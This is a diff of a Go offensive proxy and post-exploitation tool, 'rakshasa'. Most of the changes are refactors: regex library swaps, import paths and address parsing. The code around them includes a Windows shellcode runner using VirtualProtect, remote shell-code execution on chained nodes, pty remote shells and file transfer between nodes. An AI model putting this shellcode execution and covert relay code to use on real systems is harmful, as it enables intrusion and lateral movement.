||||
if m != nil {
|
||||
var res_v []string
|
||||
for _, v := range m.Groups() {
|
||||
res_v = append(res_v, v.String())
|
||||
}
|
||||
addr, err := net.ResolveTCPAddr("tcp", res_v[4]+":"+res_v[5])
|
||||
|
||||
addr, err := net.ResolveTCPAddr("tcp", m[0][4]+":"+m[0][5])
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误 " + res_v[4] + ":" + res_v[5] + " 不是有效的 地址:端口")
|
||||
return nil, errors.New("配置解析错误 " + m[0][4] + ":" + m[0][5] + " 不是有效的 地址:端口")
|
||||
}
|
||||
return &Addr{
|
||||
scheam: res_v[1],
|
||||
user: res_v[2],
|
||||
passwd: res_v[3],
|
||||
ip: res_v[4],
|
||||
scheam: m[0][1],
|
||||
user: m[0][2],
|
||||
passwd: m[0][3],
|
||||
ip: m[0][4],
|
||||
port: addr.Port,
|
||||
}, nil
|
||||
}
|
||||
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`, 0)
|
||||
m, err = r.FindStringMatch(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误," + err.Error())
|
||||
}
|
||||
if m != nil {
|
||||
var res_v []string
|
||||
for _, v := range m.Groups() {
|
||||
res_v = append(res_v, v.String())
|
||||
}
|
||||
port, _ := strconv.Atoi(res_v[4])
|
||||
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`)
|
||||
m = r.FindAllStringSubmatch(str, 1)
|
||||
|
||||
if m != nil {
|
||||
|
||||
port, _ := strconv.Atoi(m[0][4])
|
||||
return &Addr{
|
||||
scheam: res_v[1],
|
||||
user: res_v[2],
|
||||
passwd: res_v[3],
|
||||
scheam: m[0][1],
|
||||
user: m[0][2],
|
||||
passwd: m[0][3],
|
||||
ip: "",
|
||||
port: port,
|
||||
}, nil
|
||||
}
|
||||
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)$`, 0)
|
||||
m, err = r.FindStringMatch(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误," + err.Error())
|
||||
}
|
||||
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)$`)
|
||||
m = r.FindAllStringSubmatch(str, 1)
|
||||
|
||||
if m != nil {
|
||||
var res_v []string
|
||||
for _, v := range m.Groups() {
|
||||
res_v = append(res_v, v.String())
|
||||
}
|
||||
addr, err := net.ResolveTCPAddr("tcp", res_v[2]+":"+res_v[3])
|
||||
|
||||
addr, err := net.ResolveTCPAddr("tcp", m[0][2]+":"+m[0][3])
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误 " + res_v[1] + ":" + res_v[2] + " 不是有效的 地址:端口")
|
||||
return nil, errors.New("配置解析错误 " + m[0][1] + ":" + m[0][2] + " 不是有效的 地址:端口")
|
||||
}
|
||||
|
||||
return &Addr{
|
||||
scheam: res_v[1],
|
||||
scheam: m[0][1],
|
||||
user: "",
|
||||
passwd: "",
|
||||
ip: res_v[2],
|
||||
ip: m[0][2],
|
||||
port: addr.Port,
|
||||
}, nil
|
||||
}
|
||||
|
||||
+12
-11
@@ -4,15 +4,16 @@ import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/dlclark/regexp2"
|
||||
"github.com/google/uuid"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa/aes"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
var Debug bool = false
|
||||
@@ -28,10 +29,10 @@ var EnableTermVt bool
|
||||
|
||||
// 数据包结构 包长(2byte)UUID+UUID+MsgId+Ttl+cmd包
|
||||
type Msg struct {
|
||||
From string
|
||||
To string
|
||||
MsgId uint32
|
||||
Ttl uint8
|
||||
From string
|
||||
To string
|
||||
MsgId uint32
|
||||
Ttl uint8
|
||||
CmdOpteion uint8
|
||||
CmdId uint32
|
||||
CmdData []byte
|
||||
@@ -311,13 +312,13 @@ func ResolveTCPAddr(str string) ([]string, error) {
|
||||
dst = append(dst[:i], dst[i+1:]...)
|
||||
} else {
|
||||
if _, err := net.ResolveTCPAddr("tcp", addr); err != nil {
|
||||
if i>0{
|
||||
r, _ := regexp2.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`, 0)
|
||||
match,_ :=r.MatchString(addr)
|
||||
if !match{
|
||||
if i > 0 {
|
||||
r, _ := regexp.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`)
|
||||
match := r.MatchString(addr)
|
||||
if !match {
|
||||
return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err)
|
||||
}
|
||||
}else{
|
||||
} else {
|
||||
return nil, fmt.Errorf("参数错误 格式为\"ip:端口,第二个地址可以是UUID\",多个地址以逗号隔开,错误详情%v", err)
|
||||
}
|
||||
|
||||
|
||||
+1
-2
@@ -2,7 +2,6 @@ dstnode:
|
||||
#- 192.168.1.180:8883
|
||||
password: ""
|
||||
port: 8884
|
||||
listenip:
|
||||
- 192.168.1.151
|
||||
listenip: 192.168.1.151
|
||||
limit: false
|
||||
filename: config.yaml
|
||||
|
||||
@@ -4,11 +4,13 @@ go 1.16
|
||||
|
||||
replace github.com/abiosoft/readline => ./readline
|
||||
|
||||
replace cert => ./cert
|
||||
|
||||
require (
|
||||
cert v0.0.0-00010101000000-000000000000
|
||||
github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db
|
||||
github.com/creack/pty v1.1.18
|
||||
github.com/dlclark/regexp2 v1.7.0
|
||||
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40
|
||||
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 // indirect
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/luyu6056/ishell v1.0.1
|
||||
github.com/mattn/go-colorable v0.1.12 // indirect
|
||||
|
||||
@@ -13,8 +13,6 @@ github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dlclark/regexp2 v1.7.0 h1:7lJfhqlPssTb1WQx4yvTHN0uElPEv52sbaECrAQxjAo=
|
||||
github.com/dlclark/regexp2 v1.7.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40 h1:OgoboV484kN/ngW4apHvSw8iy9YhhQusAKSLT8nGl94=
|
||||
github.com/farmerx/gorsa v0.0.0-20161211100049-3ae06f674f40/go.mod h1:Gdtd77IQrjXqFfiourWpNnE1jDPC4opZPDPxPLWFlr0=
|
||||
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"cert"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
_ "net/http/pprof"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"rakshasa/httppool"
|
||||
"rakshasa/server"
|
||||
@@ -108,7 +108,7 @@ func main() {
|
||||
server.SetConfig(config)
|
||||
|
||||
//设置一下秘钥
|
||||
aes.Key = aes.MD5_B(config.Password + string(cert.PrivateKey[:16]))
|
||||
aes.Key = aes.MD5_B(config.Password + string(cert.RsaPrivateKey[:16]))
|
||||
//初始化node
|
||||
server.InitCurrentNode()
|
||||
|
||||
@@ -133,7 +133,7 @@ func main() {
|
||||
if *shellCode != "" {
|
||||
server.RunShellcodeWithDst(*dstNode, *shellCode, *shellCodeXorKey, *shellCodeParam, *shellCodeTimeout)
|
||||
}
|
||||
if err := server.StartServer(fmt.Sprintf("%s:%d", config.ListenIp, config.Port)); err != nil {
|
||||
if err := server.StartServer(fmt.Sprintf(":%d", config.Port)); err != nil {
|
||||
log.Fatalln(err)
|
||||
}
|
||||
|
||||
|
||||
@@ -30,7 +30,7 @@ rakshasa是一个用Go编写的程序,旨在创建一个能够实现**多级
|
||||
- Go语言:因为Go语言是一门高效的并发编程语言,非常适合网络编程。
|
||||
- github.com/abiosoft/ishell包:实现各操作系统中的CLI。
|
||||
- github.com/creack/pty包:实现Linux伪终端,可以执行交互式命令与更高级的终端显示效果。
|
||||
- github.com/dlclark/regexp2包:全功能正则表达式 。
|
||||
- github.com/farmerx/gorsa包:实现私钥加密公钥解密,用来解决节点权限限制。
|
||||
|
||||
## 4. 项目结构
|
||||
|
||||
|
||||
+10
-9
@@ -2,6 +2,7 @@ package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
@@ -10,7 +11,6 @@ import (
|
||||
"net"
|
||||
"net/url"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -690,12 +690,6 @@ func (c *Conn) handle() {
|
||||
func (c *Conn) reg() error {
|
||||
|
||||
var err error
|
||||
|
||||
c.nodeConn, err = tls.Dial("tcp", c.nodeaddr, cert.Tlsconfig.Clone())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
reg := &common.RegMsg{
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
@@ -710,7 +704,6 @@ func (c *Conn) reg() error {
|
||||
CmdOpteion: common.CMD_REG,
|
||||
CmdData: regb,
|
||||
}
|
||||
|
||||
if err = c.tlsWrite(msg.Marshal()); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -734,7 +727,15 @@ func (c *Conn) Write(b []byte) {
|
||||
|
||||
func (c *Conn) tlsWrite(b []byte) error {
|
||||
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||
_, err := c.nodeConn.Write(b)
|
||||
n, err := c.nodeConn.Write(b)
|
||||
if common.Debug {
|
||||
if c.node!=nil{
|
||||
fmt.Println("writeto", c.node.uuid, n)
|
||||
}else{
|
||||
fmt.Println("writeto",common.NoneUUID, n)
|
||||
}
|
||||
|
||||
}
|
||||
if err != nil {
|
||||
c.Close("Write " + err.Error())
|
||||
upNodeWrite <- b
|
||||
|
||||
@@ -10,7 +10,7 @@ import (
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"rakshasa/cert"
|
||||
"cert"
|
||||
"rakshasa/common"
|
||||
"rakshasa/httppool"
|
||||
"runtime/debug"
|
||||
|
||||
+22
-19
@@ -2,6 +2,7 @@ package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
@@ -11,7 +12,6 @@ import (
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"runtime"
|
||||
"strconv"
|
||||
@@ -226,18 +226,21 @@ func connectNew(addr string) (n *node, e error) {
|
||||
addrs, e := i.Addrs()
|
||||
if e == nil {
|
||||
for _, localAddr := range addrs {
|
||||
go func() {
|
||||
go func(localAddr net.Addr) {
|
||||
localstr := localAddr.String()
|
||||
localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0"
|
||||
laddr, _ := net.ResolveTCPAddr("tcp", localstr)
|
||||
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
|
||||
conn := tls.Client(netconn, config)
|
||||
select {
|
||||
case connChan <- conn:
|
||||
default:
|
||||
if laddr!=nil{
|
||||
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
|
||||
conn := tls.Client(netconn, config)
|
||||
select {
|
||||
case connChan <- conn:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
}(localAddr)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -470,6 +473,8 @@ func (n *node) do(msg *common.Msg) {
|
||||
|
||||
}
|
||||
currentNode.broadcastNode()
|
||||
//把本机所有节点同步到注册机器
|
||||
go n.writeGetNodeResult(msg.CmdId)
|
||||
}()
|
||||
case common.CMD_REG_RESULT:
|
||||
var regmsg common.RegMsg
|
||||
@@ -536,8 +541,8 @@ func (n *node) do(msg *common.Msg) {
|
||||
default:
|
||||
}
|
||||
|
||||
//回复节点
|
||||
//n.writeGetNodeResult(msg.CmdId)
|
||||
//交换节点
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_REMOTE_REG:
|
||||
|
||||
@@ -616,8 +621,7 @@ func (n *node) do(msg *common.Msg) {
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
|
||||
//n.writeGetNodeResult(msg.CmdId)
|
||||
n.writeGetNodeResult(msg.CmdId)
|
||||
|
||||
case common.CMD_PING:
|
||||
n.Write(common.CMD_PONG, msg.CmdId, append(msg.CmdData, n.conn.nodeConn.LocalAddr().String()...))
|
||||
@@ -1427,18 +1431,17 @@ func GetNodeFromAddrs(dst []string) (n *node, err error) {
|
||||
if n, err = getNode(dst[0]); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if n.uuid == currentNode.uuid {
|
||||
return nil, errors.New("不能连接自己")
|
||||
}
|
||||
for i := 1; i < len(dst); i++ {
|
||||
n, err = n.remoteReg(dst[i])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("%s,%v", dst[i], err)
|
||||
}
|
||||
}
|
||||
if n == nil {
|
||||
return nil, fmt.Errorf("无法连接 %v", dst)
|
||||
}
|
||||
if n.uuid == currentNode.uuid {
|
||||
return nil, errors.New("不能连接自己")
|
||||
if n.uuid == currentNode.uuid {
|
||||
return nil, errors.New("不能连接自己")
|
||||
}
|
||||
}
|
||||
n.reConnectAddrs = make([]string, len(dst))
|
||||
copy(n.reConnectAddrs, dst)
|
||||
|
||||
@@ -7,7 +7,7 @@ import (
|
||||
"hash/crc32"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa/cert"
|
||||
"cert"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
@@ -5,7 +5,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"rakshasa/cert"
|
||||
"cert"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
+14
-11
@@ -6,6 +6,7 @@ package server
|
||||
*/
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
@@ -13,8 +14,9 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -24,7 +26,6 @@ import (
|
||||
|
||||
"github.com/abiosoft/readline"
|
||||
"github.com/creack/pty"
|
||||
"github.com/dlclark/regexp2"
|
||||
"github.com/luyu6056/ishell"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
@@ -109,7 +110,7 @@ func init() {
|
||||
c.Println(c.Args)
|
||||
currentConfig.Password = c.Args[0]
|
||||
currentConfig.FileSave = false
|
||||
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.PrivateKey[:16]))
|
||||
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.RsaPrivateKey[:16]))
|
||||
},
|
||||
})
|
||||
configShell.AddCmd(&ishell.Cmd{
|
||||
@@ -133,7 +134,9 @@ func init() {
|
||||
currentConfig.Port = port
|
||||
currentNode.port = port
|
||||
currentConfig.FileSave = false
|
||||
StartServer(fmt.Sprintf("%s:%d", currentConfig.ListenIp, currentConfig.Port))
|
||||
if err := StartServer(fmt.Sprintf(":%d", currentConfig.Port)); err != nil {
|
||||
c.Printf("启动节点失败 %v, 请重新修改监听端口",currentConfig.Port)
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
@@ -261,7 +264,7 @@ func init() {
|
||||
pwd = dir
|
||||
} else {
|
||||
pwd += "/" + dir
|
||||
pwd = strings.TrimRight(realpath(pwd), "/")
|
||||
pwd = strings.TrimRight(getRealPath(pwd), "/")
|
||||
}
|
||||
|
||||
resChan := make(chan interface{}, 1)
|
||||
@@ -326,7 +329,7 @@ func init() {
|
||||
}
|
||||
filename := pwd[i+1:]
|
||||
dir := pwd[:i]
|
||||
dir = strings.TrimRight(realpath(dir), "/") + "/"
|
||||
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
|
||||
pwd = dir + filename
|
||||
resChan := make(chan interface{}, 9999) //避免收消息阻塞
|
||||
|
||||
@@ -432,7 +435,7 @@ func init() {
|
||||
}
|
||||
filename := pwd[i+1:]
|
||||
dir := pwd[:i]
|
||||
dir = strings.TrimRight(realpath(dir), "/") + "/"
|
||||
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
|
||||
mydir, err := os.Getwd()
|
||||
local := "./" + filename
|
||||
if err == nil {
|
||||
@@ -468,7 +471,7 @@ func init() {
|
||||
b[be+5] = byte(total >> 40)
|
||||
b[be+6] = byte(total >> 48)
|
||||
b[be+7] = byte(total >> 56)
|
||||
n.Write(common.CMD_DOWNLOAD, id,cert.RSAEncrypterByPrivByte(b))
|
||||
n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b))
|
||||
c.ProgressBar().Start()
|
||||
size := int64(0)
|
||||
resnum := 0
|
||||
@@ -621,8 +624,8 @@ func init() {
|
||||
if !common.EnableTermVt {
|
||||
s.translate = func(in []byte) ([]byte, error) {
|
||||
if in[0] == 27 {
|
||||
r, _ := regexp2.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`, 0)
|
||||
res, _ := r.Replace(string(in), "", 0, -1)
|
||||
r, _ := regexp.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`)
|
||||
res := r.ReplaceAllString(string(in), "")
|
||||
return []byte(res), nil
|
||||
}
|
||||
return in, nil
|
||||
@@ -758,7 +761,7 @@ func printNodes(c *ishell.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
func realpath(path string) string {
|
||||
func getRealPath(path string) string {
|
||||
|
||||
path_s := strings.Split(path, "/")
|
||||
realpath := []string{}
|
||||
|
||||
+1
-1
@@ -10,7 +10,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"rakshasa/cert"
|
||||
"cert"
|
||||
"rakshasa/common"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
|
||||
var (
|
||||
kernel32 = syscall.MustLoadDLL("kernel32.dll")
|
||||
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
|
||||
|
||||
old32 = syscall.MustLoadDLL("ole32.dll")
|
||||
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
|
||||
)
|
||||
@@ -22,6 +22,7 @@ func shellcodeRun(code []byte) error {
|
||||
fmt.Println(err)
|
||||
}
|
||||
}()
|
||||
VirtualProtect := kernel32.MustFindProc("VirtualProtect")
|
||||
l := uintptr(len(code))
|
||||
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
|
||||
|
||||
|
||||
+3
-7
@@ -2,6 +2,7 @@ package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"cert"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
@@ -9,7 +10,6 @@ import (
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
@@ -23,8 +23,6 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
STATUS_OFF = 0
|
||||
STATUS_ON = 1
|
||||
UDP_PORT_MIN = 30000
|
||||
UDP_PORT_MAX = 60000
|
||||
SOCKES5_VERSION = 5
|
||||
@@ -32,13 +30,11 @@ const (
|
||||
|
||||
var (
|
||||
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
|
||||
SOCKES5_AUTHPW_SUSSCES []byte = []byte{5, 2}
|
||||
|
||||
SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2}
|
||||
PROTOCOL_ERR = errors.New("protocolErr")
|
||||
)
|
||||
|
||||
const (
|
||||
SERVER_NUM = 4 //有效的连接数量
|
||||
CONN_AUTH_CLOSE = 0
|
||||
CONN_AUTH_NONE = 1
|
||||
CONN_AUTH_PW = 2
|
||||
@@ -270,7 +266,7 @@ func handleSocks5Local(s *clientConnect) {
|
||||
if len(data) > 2 {
|
||||
if data[0] == 5 {
|
||||
if s.cfg.User() != "" && s.cfg.Password() != "" {
|
||||
s.conn.Write(SOCKES5_AUTH_SUSSCES)
|
||||
s.conn.Write(SOCKES5_AUTH_SUSSCES_PASSWD)
|
||||
s.auth = CONN_AUTH_PW
|
||||
} else {
|
||||
s.conn.Write(SOCKES5_AUTH_SUSSCES)
|
||||
|
||||
Reference in New Issue
Block a user